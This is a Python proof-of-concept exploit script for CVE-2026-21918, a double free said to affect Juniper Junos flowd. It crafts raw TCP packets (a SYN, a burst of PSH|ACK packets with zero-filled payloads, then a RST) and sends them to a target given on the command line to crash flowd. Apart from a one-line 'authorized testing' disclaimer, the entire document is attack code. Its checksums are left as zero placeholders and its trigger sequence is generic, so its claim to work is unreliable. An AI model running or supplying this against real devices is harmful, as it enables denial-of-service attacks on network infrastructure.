# CVE-2026-21918 PoC - Double Free in Juniper Junos flowd
# This PoC demonstrates sending specific TCP packet sequence to trigger the vulnerability
# Note: This is for educational and authorized testing purposes only
import sys
import socket
import struct
import time
def craft_tcp_packet(src_ip, dst_ip, src_port, dst_port, seq, flags, payload=b''):
"""Craft a TCP packet with custom flags and sequence number"""
# IP Header
ip_header = struct.pack('!BBHHHBBH4s4s',
0x45, # Version 4, IHL 5
0x00, # TOS
20 + 20 + len(payload), # Total Length
0x0000, # Identification
0x4000, # Flags + Fragment Offset (Don't Fragment)
64, # TTL
6, # Protocol (TCP)
0x0000, # Checksum (placeholder)
socket.inet_aton(src_ip),
socket.inet_aton(dst_ip)
)
# TCP Header
tcp_header = struct.pack('!HHLLBBHHH',
src_port, # Source Port
dst_port, # Destination Port
seq, # Sequence Number
0, # Acknowledgment Number
0x50, # Data Offset (5 * 4 = 20 bytes)
flags, # Flags
65535, # Window Size
0x0000, # Checksum (placeholder)
0x0000 # Urgent Pointer
)
return ip_header + tcp_header + payload
def exploit_cve_2026_21918(target_ip, target_port=443):
"""
Attempt to trigger the Double Free vulnerability
This sends a specific sequence of TCP packets during session establishment
"""
src_ip = '192.168.1.100'
src_port = 12345
print(f"[*] Starting CVE-2026-21918 exploitation attempt")
print(f"[*] Target: {target_ip}:{target_port}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
# Step 1: Send initial SYN with specific sequence
print("[*] Step 1: Sending initial SYN...")
syn_packet = craft_tcp_packet(src_ip, target_ip, src_port, target_port, 1000, 0x02)
sock.sendto(syn_packet, (target_ip, 0))
time.sleep(0.1)
# Step 2: Send specific packet sequence to trigger Double Free
print("[*] Step 2: Sending trigger packet sequence...")
for i in range(5):
# Send packets with specific flags combination
trigger_packet = craft_tcp_packet(
src_ip, target_ip, src_port, target_port,
1000 + i, 0x18, # PSH|ACK flags
b'\x00' * 20 # Malformed payload
)
sock.sendto(trigger_packet, (target_ip, 0))
time.sleep(0.05)
# Step 3: Send RST to force cleanup
print("[*] Step 3: Sending RST...")
rst_packet = craft_tcp_packet(src_ip, target_ip, src_port, target_port, 1010, 0x04)
sock.sendto(rst_packet, (target_ip, 0))
print("[*] Packet sequence sent. Monitor target for flowd crash.")
except Exception as e:
print(f"[!] Error: {e}")
return False
return True
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
exploit_cve_2026_21918(target, port)